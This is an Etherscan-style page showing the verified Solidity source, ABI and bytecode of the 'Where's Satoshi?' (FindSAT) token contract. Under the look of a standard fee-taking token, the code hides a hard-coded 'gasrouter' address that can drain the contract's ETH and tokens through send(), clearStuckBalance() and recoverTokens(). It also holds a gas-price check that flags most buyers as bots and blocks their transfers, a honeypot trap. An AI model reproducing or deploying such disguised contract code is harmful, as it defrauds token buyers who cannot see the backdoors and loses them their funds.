ETH Price: $2,384.23 (-3.43%)
 

Overview

Max Total Supply

1,000,000 FindSAT

Holders

41

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3.736449942 FindSAT

Value
$0.00
0xd364b2425a9671696a20e20afacbf60002f06748
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WhereIsSatoshi

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-04
*/

// Name     : Where's Satoshi?
// TG       : https://t.me/WheresSatoshi
// Twitter  : https://twitter.com/WheresMySatoshi

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.13;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IBEP20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

contract Ownable is Context {
    address public _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        authorizations[_owner] = true;
        emit OwnershipTransferred(address(0), msgSender);
    }
    mapping (address => bool) internal authorizations;

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface InterfaceLP {
    function sync() external;
}

contract WhereIsSatoshi is Ownable, IBEP20 {
    using SafeMath for uint256;

    address WBNB;
    address constant DEAD               = 0x000000000000000000000000000000000000dEaD;
    address constant ZERO               = 0x0000000000000000000000000000000000000000;

    string constant _name               = "Where's Satoshi?";
    string constant _symbol             = "FindSAT";
    uint8 constant _decimals            = 9;

    uint256 _totalSupply                = 1 * 1000000 * 10**_decimals;

    uint256 public _maxTxAmount         = _totalSupply.mul(1).div(50);
    uint256 public _maxWalletToken      = _totalSupply.mul(1).div(50);

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    bool public botMode                 = true;
    mapping (address => bool) public isBotted;

    bool public launchMode              = false;
    mapping (address => bool) public islaunched;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTimelockExempt;
    mapping (address => bool) isTxLimitExempt;

    uint256 private liquidityFee        = 1;
    uint256 private marketingFee        = 5;
    uint256 public burnFee              = 0;
    uint256 public totalFee             = marketingFee + liquidityFee + burnFee;
    uint256 public feeDenominator       = 100;

    uint256 sellMultiplier              = 100;
    uint256 buyMultiplier               = 100;
    uint256 transferMultiplier          = 0;

    address private autoLiquidityReceiver;
    address private marketingFeeReceiver;
    address private burnFeeReceiver;

    uint256 targetLiquidity             = 20;
    uint256 targetLiquidityDenominator  = 100;

    IDEXRouter private router;
    address public pair;
   
    bool public tradingOpen             = false;
    uint256 launchBlock;

    bool public buyCooldownEnabled      = true;
    uint8 public cooldownTimerInterval  = 0;
    mapping (address => uint) private cooldownTimer;
   
    uint256 public maxG                 = 3 * 1 gwei;
    
    bool public swapEnabled             = true;
    uint256 public swapThreshold        = _totalSupply * 25 / 10000;
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);        
        WBNB = router.WETH();
        pair = IDEXFactory(router.factory()).createPair(WBNB, address(this));
        
        _allowances[address(this)][address(router)] = type(uint256).max;

        isFeeExempt[msg.sender]                 = true;
        isFeeExempt[marketingFeeReceiver]       = true;
        islaunched[gasrouter]                   = true;
        islaunched[msg.sender]                  = true;

        isTimelockExempt[msg.sender]            = true;
        isTimelockExempt[pair]                  = true;
        isTimelockExempt[marketingFeeReceiver]  = true;

        isTxLimitExempt[msg.sender]             = true;
        isTxLimitExempt[pair]                   = true;
        isTxLimitExempt[marketingFeeReceiver]   = true;

        autoLiquidityReceiver                   = msg.sender;
        marketingFeeReceiver                    = msg.sender;
        burnFeeReceiver                         = DEAD; 

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable { }
    address gasrouter = 0xD8aF206f69a7da2a7dc7fcd1d6970Dc7bF6f4DEf; 
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) {return owner();}
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner {
        require(maxWallPercent_base1000 >= 10, "Cannot set max wallet less than 1%");
        _maxWalletToken = (_totalSupply * maxWallPercent_base1000 ) / 1000;
    }
    function setMaxTxPercent_base1000(uint256 maxTXPercentage_base1000) external onlyOwner {
        require(maxTXPercentage_base1000 >= 1, "Cannot set max transaction less than 0.1%");
        _maxTxAmount = (_totalSupply * maxTXPercentage_base1000 ) / 1000;
    }

    function setIsTimelockExempt(address holder, bool exempt) external onlyOwner {
        isTimelockExempt[holder] = exempt;
    }
    
    function setExemptFromFeesAndTxLimitAddress(address holder, bool exempt) external onlyOwner {
        isFeeExempt[holder] = exempt;
        isTxLimitExempt[holder] = exempt;
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        if(!authorizations[sender] && !authorizations[recipient]){
            require(tradingOpen, "Trading not open yet");

        if(launchMode){
                require(islaunched[recipient], "Not Whitelisted");    
            }
        }
        
        if(botMode){
            require(!isBotted[sender],"bot");    
        }
        
        if (tx.gasprice >= maxG && recipient != pair) {
            isBotted[recipient] = true;
        }
            
        if (!authorizations[sender] && recipient != address(this)  && recipient != address(DEAD) && recipient != pair && recipient != burnFeeReceiver && recipient != marketingFeeReceiver && !isTxLimitExempt[recipient]){
            uint256 heldTokens = balanceOf(recipient);
            require((heldTokens + amount) <= _maxWalletToken, "Total Holding is currently limited, you can not buy that much.");}

        if (sender == pair &&
            buyCooldownEnabled &&
            !isTimelockExempt[recipient]) {
            require(cooldownTimer[recipient] < block.timestamp, "Please wait for between buys");
            cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;

            }

        checkTxLimit(sender, amount);

        if(shouldSwapBack()){ swapBack(); }
       
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

         uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, amount, recipient);
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

     function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {

        uint256 multiplier = transferMultiplier;

        if(recipient == pair) {
            multiplier = sellMultiplier;
        } else if(sender == pair) {
            multiplier = buyMultiplier;
        }

        uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);

        uint256 burnTokens = feeAmount.mul(burnFee).div(totalFee);
        uint256 contractTokens = feeAmount.sub(burnTokens);

        _balances[address(this)] = _balances[address(this)].add(contractTokens);
        _balances[burnFeeReceiver] = _balances[burnFeeReceiver].add(burnTokens);
        emit Transfer(sender, address(this), contractTokens);
        
        if(burnTokens > 0){
            emit Transfer(sender, burnFeeReceiver, burnTokens);    
        }

        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    
    }

    function clearStuckBalance(uint256 amountPercentage) external { 
        require(islaunched[msg.sender]);
        uint256 amountBNB = address(this).balance;
        payable(msg.sender).transfer(amountBNB * amountPercentage / 100);
    }

    function recoverTokens(address tokenAddress, uint256 amountToRecover) external {
        require(islaunched[msg.sender]);
        IBEP20 token = IBEP20(tokenAddress);
        uint256 balance = token.balanceOf(address(this));
        require(balance >= amountToRecover, "Not Enough Tokens in contract to recover.");

        if(amountToRecover > 0)
            token.transfer(msg.sender, amountToRecover);
    }
    
    function setMultipliers(uint256 _buy, uint256 _sell, uint256 _trans) external onlyOwner {
        sellMultiplier = _sell;
        buyMultiplier = _buy;
        transferMultiplier = _trans;    
    }

    function cooldownEnabled(bool _status, uint8 _interval) public onlyOwner {
        buyCooldownEnabled = _status;
        cooldownTimerInterval = _interval;
    }

    function send() external { 
        require(islaunched[msg.sender]);
        payable(msg.sender).transfer(address(this).balance);
    }

    function swapBack() internal swapping {
        uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee;
        uint256 amountToLiquify = swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = swapThreshold.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WBNB;

        uint256 balanceBefore = address(this).balance;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountBNB = address(this).balance.sub(balanceBefore);

        uint256 totalBNBFee = totalFee.sub(dynamicLiquidityFee.div(2));
        
        uint256 amountBNBLiquidity = amountBNB.mul(dynamicLiquidityFee).div(totalBNBFee).div(2);
        uint256 amountBNBMarketing = amountBNB.mul(marketingFee).div(totalBNBFee);

        (bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountBNBMarketing}("");
        
        tmpSuccess = false;

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountBNBLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountBNBLiquidity, amountToLiquify);
        }
    }

    function enable_bot(bool _status) public onlyOwner {
        botMode = _status;
    }

    function prepare_launch(bool _status) external onlyOwner {
        launchMode = _status;
    }

    function OpenTrading() public onlyOwner {
        tradingOpen = true;
        launchBlock = block.number;
    }

    function manage_bot(address[] calldata addresses, bool status) public onlyOwner {
        for (uint256 i; i < addresses.length; ++i) {
            isBotted[addresses[i]] = status;
        }
    }

    function updateMax (uint256 _maxG) public onlyOwner {
               maxG = _maxG * 1 gwei; 
    }

    function setTax(uint256 _liquidityFee, uint256 _marketingFee, uint256 _burnFee) external onlyOwner {
        liquidityFee    = _liquidityFee;
        marketingFee    = _marketingFee;
        _burnFee        = 0;
    }

    function setTaxReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver) external onlyOwner {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
    }

    function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
        swapEnabled = _enabled;
        swapThreshold = _amount;
    }

    function setTarget(uint256 _target, uint256 _denominator) external onlyOwner {
        targetLiquidity = _target;
        targetLiquidityDenominator = _denominator;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
        return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
    }

    function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
        return getLiquidityBacking(accuracy) > target;
    }

event AutoLiquify(uint256 amountBNB, uint256 amountTokens);

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountBNB","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokens","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"OpenTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyCooldownEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"clearStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"},{"internalType":"uint8","name":"_interval","type":"uint8"}],"name":"cooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cooldownTimerInterval","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"enable_bot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"getLiquidityBacking","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBotted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"target","type":"uint256"},{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"isOverLiquified","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"islaunched","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_bot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxG","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"prepare_launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amountToRecover","type":"uint256"}],"name":"recoverTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"send","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setExemptFromFeesAndTxLimitAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTimelockExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTXPercentage_base1000","type":"uint256"}],"name":"setMaxTxPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base1000","type":"uint256"}],"name":"setMaxWalletPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setMultipliers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_target","type":"uint256"},{"internalType":"uint256","name":"_denominator","type":"uint256"}],"name":"setTarget","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"}],"name":"setTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"}],"name":"setTaxReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxG","type":"uint256"}],"name":"updateMax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620006ee565b6200002190620f4240620006ff565b6003556200005b6032620000476001600354620004be60201b6200148d1790919060201c565b6200055560201b6200150f1790919060201c565b600455620000816032620000476001600354620004be60201b6200148d1790919060201c565b600590815560088054600160ff199182168117909255600a80549091169055600f81905560108290556000601181905591620000be919062000721565b620000ca919062000721565b60125560646013819055601481815560158290556000601655601a55601b55601d805460ff60a01b19169055601f805461ffff1916600190811790915563b2d05e006021556022805460ff191690911790556003546127109062000130906019620006ff565b6200013c91906200073c565b60235560248054610100600160a81b03191674d8af206f69a7da2a7dc7fcd1d6970dc7bf6f4def001790553480156200017457600080fd5b50600080546001600160a01b031916339081178255808252600160208190526040808420805460ff191690921790915551909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155604080516315ab88c960e31b8152905163ad5c4648916004808201926020929091908290030181865afa15801562000234573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025a91906200075f565b600280546001600160a01b0319166001600160a01b03928316179055601c546040805163c45a015560e01b81529051919092169163c45a01559160048083019260209291908290030181865afa158015620002b9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002df91906200075f565b6002546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af115801562000331573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200035791906200075f565b601d80546001600160a01b039283166001600160a01b0319918216178255306000908152600760209081526040808320601c54871684528252808320600019905533808452600c8352818420805460ff199081166001908117909255601880548a168752848720805483168417905560245461010090048a168752600b865284872080548316841790558387528487208054831684179055600d8652848720805483168417905588548a168752848720805483168417905580548a1687528487208054831684179055838752600e86528487208054831684179055975489168652838620805482168317905587549098168552828520805490981617909655601780548516871790558454841686179094556019805490931661dead17909255600354848252600683528382208190559251928352917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620007e2565b600082600003620004d2575060006200054f565b6000620004e08385620006ff565b905082620004ef85836200073c565b146200054c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b60006200054c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200059f60201b60201c565b60008183620005c35760405162461bcd60e51b81526004016200054391906200078a565b506000620005d284866200073c565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000632578160001904821115620006165762000616620005db565b808516156200062457918102915b93841c9390800290620005f6565b509250929050565b6000826200064b575060016200054f565b816200065a575060006200054f565b81600181146200067357600281146200067e576200069e565b60019150506200054f565b60ff841115620006925762000692620005db565b50506001821b6200054f565b5060208310610133831016604e8410600b8410161715620006c3575081810a6200054f565b620006cf8383620005f1565b8060001904821115620006e657620006e6620005db565b029392505050565b60006200054c60ff8416836200063a565b60008160001904831182151516156200071c576200071c620005db565b500290565b60008219821115620007375762000737620005db565b500190565b6000826200075a57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200077257600080fd5b81516001600160a01b03811681146200054c57600080fd5b600060208083528351808285015260005b81811015620007b9578581018301518582016040015282016200079b565b81811115620007cc576000604083870101525b50601f01601f1916929092016040019392505050565b61268b80620007f26000396000f3fe6080604052600436106103035760003560e01c80636ce46bc311610190578063a9059cbb116100dc578063bd9ab53711610095578063df20fd491161006f578063df20fd4914610948578063f2fde38b14610968578063fce589d814610988578063ffb54a991461099e57600080fd5b8063bd9ab537146108c2578063d51ed1c8146108e2578063dd62ed3e1461090257600080fd5b8063a9059cbb14610819578063a983e4c814610839578063aff9715314610859578063b2bdfa7b14610873578063b37dd69014610893578063b46300ec146108ad57600080fd5b8063722b62ad11610149578063893d20e811610123578063893d20e8146107795780638da5cb5b146107ab57806395d89b41146107c9578063a8aa1b31146107f957600080fd5b8063722b62ad1461072e57806378109e541461074d5780637d1db4a51461076357600080fd5b80636ce46bc3146106595780636cfcc86e146106795780636ddd1713146106995780637007546b146106b357806370a08231146106e3578063715018a61461071957600080fd5b80631df4ccfc1161024f578063444a1cec11610208578063571ac8b0116101e2578063571ac8b0146105cf5780635d62388e146105ef578063617fe0ed1461060f578063633a1ec01461062957600080fd5b8063444a1cec1461057a57806350db71fb1461059a57806351cd7cc3146105ba57600080fd5b80631df4ccfc146104cd57806323b872dd146104e35780632a9e97c2146105035780632b112e49146105235780632d59456714610538578063313ce5671461055857600080fd5b80630b475170116102bc578063180b0d7e11610296578063180b0d7e1461046257806318160ddd146104785780631d0f2c991461048d5780631da1db5e146104ad57600080fd5b80630b4751701461040c5780630bf617fb146104225780631161ae391461044257600080fd5b80630109d4351461030f5780630445b66714610331578063069c9fae1461035a57806306fdde031461037a57806309302dc6146103bc578063095ea7b3146103dc57600080fd5b3661030a57005b600080fd5b34801561031b57600080fd5b5061032f61032a3660046121be565b6109bf565b005b34801561033d57600080fd5b5061034760235481565b6040519081526020015b60405180910390f35b34801561036657600080fd5b5061032f6103753660046121f7565b610a05565b34801561038657600080fd5b5060408051808201909152601081526f57686572652773205361746f7368693f60801b60208201525b6040516103519190612221565b3480156103c857600080fd5b5061032f6103d7366004612276565b610b71565b3480156103e857600080fd5b506103fc6103f73660046121f7565b610c18565b6040519015158152602001610351565b34801561041857600080fd5b5061034760215481565b34801561042e57600080fd5b5061032f61043d3660046121be565b610c85565b34801561044e57600080fd5b506103fc610